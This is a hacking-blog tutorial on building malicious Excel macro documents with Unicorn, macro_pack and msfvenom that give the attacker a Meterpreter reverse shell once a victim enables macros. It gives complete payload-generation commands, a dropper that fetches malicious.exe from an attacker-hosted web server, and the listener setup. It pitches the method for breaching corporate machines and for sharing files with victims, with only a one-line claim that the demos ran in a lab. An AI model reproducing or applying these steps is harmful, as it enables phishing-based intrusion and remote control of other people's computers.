Hey Folks, as we promised you in our previous article, we will bring you an article, in which we will discuss various methods or tools for exploiting windows machine by creating macro payload. The time has come and this tutorial can also be helpful for corporate employees because we know how tight security is in companies and this is the only way left to exploit the machines in corporate environment.
Letsβ take a look π !!
Before watching our first magic trick you need to know about macros and their work which will only help to get an idea about the whole demonstration and for which you have to go here.
Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Usage is simple, magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. So letβs fire up the kali linux and install this tool. First we clone the repository from the destination using the git command and then go inside the directory of this tool. Just now we are ready to take advantage of this tool using the python tool. All you have to do is change the localhost address and execute the command.
Usage π !! python unicorn.py < payload > < localhost addr > < lport >
git clone https://github.com/trustedsec/unicorn.git
cd unicorn/
python unicorn.py windows/meterpreter/reverse_https 192.168.1.13 4444 macro
Done π !! After executing the command the macro payload will be created successfully and the output you will get as highlighted in below image. Now you can open the content of macro payload by using the cat command.
Letβs move on the target machine and follow these steps. Boot Excel Software -> write any content in empty columns -> go to the βviewβ tab -> click on macros and select its sub menu option βview macrosβ.
Enter your preferred name and click on the βenterβ button.
Hmm π !! Copy the contents of the malicious macro payload from inside the βPowerhell_attack.txtβ file that was created earlier and paste it here. After that press βCTRL + Sβ keys simultaneously at the same time to save the document and select the type of documents to βExcel Macro-enabled Workbookβ.
We need to set the multi handler to capture the meterpreter session of the target machine. Simply execute the command by modifying it.
use multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.13
set lport 4444
run
All work is done, now as soon as we open malicious excel on the target machine and we get a security warning on the excel workbook. To complete this attack, the victim have to click on the βEnableβ option.
Opps π !! After clicking the button, another error will appear on the excel workbook but in fact the attacker will get the meterpreter session of the target machine.
Wonderful :O !! As you can see how easily we have got the meterpreter session of the target machine without any doubt.
The macro_pack is a tool used to automatize obfuscation and generation of retro formats such as MS Office documents or VBS like format. Now it also handles various shortcuts formats. We have to install Apache web server to keep our malicious exe file. To install the apache web server follow the given command.
apt install apache2
Go to the root folder of the web server and create the payload using the metasploit framework.
cd /var/www/html/
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.13 lport=4444 -f exe >> malicious.exe
Letβs departure to the target machine and download the tool from github.
echo "http://192.168.1.13/malicious.exe" "dropped.exe" | .\macro_pack.exe -o -t DROPPER -G "drop.xlsm"
Great Job π !! If all is well, the VBA script will be successfully injected into the Excel document otherwise an error will be shown.
Great π !! Just go back to the place where the tool was saved, where you will find another Excel file created by the tool. Open that file by double click on it.
We receive the same security warning that we received after the payload was made by the Unicorn tool, which means the payload has been create by this tool.
Done π !! As soon as the victim enables that security warning, we get that userβs meterpreter session.
use multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.13
set lport 4444
run
Now we will try the same thing with an pre-installed tool called βmsfvenomβ. In order to create macro payload or VBA script, you need to follow the given command. After executing the command, let the terminal remain as it is and go to the target machine.
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.13 lport=4444 -f vba
Take a blank document and follow the same steps we did above.
After pasting the previously created VBA script on here, saved the file by press both βCTRL + Sβ keys simultaneously at the same time.
Ready π !! Now you can share this file through various tools or online plateform. When victim open the excel workbook file then a security warning will be appear.
Nice π !! And the meterpreter session comes to us as soon as the victim enables the macro option.
use multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.13
set lport 4444
run
Note : We have done all these demonstrations in lab environment.
A keen learner and passionate IT student. He has done Web designing, CCNA, RedHat, Ethical hacking, Network & web penetration testing. Currently, he is completing his graduation and learning about Red teaming, CTF challenges & Blue teaming.
The gau (Get All URLs) tool is a versatile open-source utility that collects URLs from…
Jsluice++ is a Burp Suite extension designed for passive and active scanning of JavaScript traffic…
Hey Folks :) !! In this tutorial, we will describe some of the techniques commonly…
Hey Folks :) !! In this article, we present the "Termux Cheat Sheet for Hackers"…
Amid the rapid advancement of technology, the significance of human involvement in cybersecurity frequently goes…
Hey Folks, we are back today after such a long break, but don't worry we…
This website uses cookies.